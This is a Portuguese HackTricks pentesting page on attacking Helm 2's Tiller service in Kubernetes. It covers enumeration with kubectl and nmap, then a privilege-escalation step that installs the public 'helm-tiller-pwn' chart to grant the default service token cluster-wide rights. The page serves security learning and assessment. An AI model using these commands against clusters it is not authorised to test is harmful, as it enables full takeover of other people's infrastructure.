5.4 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Informações Básicas
Helm é o gerenciador de pacotes para Kubernetes. Permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de Helm Charts. Tiller é o serviço executando por padrão na porta 44134 oferecendo o serviço.
Porta padrão: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeração
Se você puder enumerar pods e/ou serviços de diferentes namespaces, enumere-os e procure pelos que têm "tiller" em seus nomes:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Exemplos:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Você também pode tentar encontrar este serviço em execução verificando a porta 44134:
sudo nmap -sS -p 44134 <IP>
Uma vez descoberto, você pode se comunicar com ele baixando o cliente da aplicação helm. Você pode usar ferramentas como homebrew
, ou consultar a página oficial de lançamentos. Para mais detalhes, ou para outras opções, veja o guia de instalação.
Então, você pode enumerar o serviço:
helm --host tiller-deploy.kube-system:44134 version
Escalonamento de Privilégios
Por padrão, o Helm2 era instalado no namespace kube-system com privilégios elevados, então se você encontrar o serviço e tiver acesso a ele, isso poderá permitir que você escale privilégios.
Tudo o que você precisa fazer é instalar um pacote como este: https://github.com/Ruil1n/helm-tiller-pwn que dará ao token de serviço padrão acesso a tudo no cluster inteiro.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
Em http://rui0.cn/archives/1573 você tem a explicação do ataque, mas basicamente, se você ler os arquivos clusterrole.yaml e clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ você pode ver como todos os privilégios estão sendo dados ao token padrão.
Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Participe do 💬 grupo do Discord ou do grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.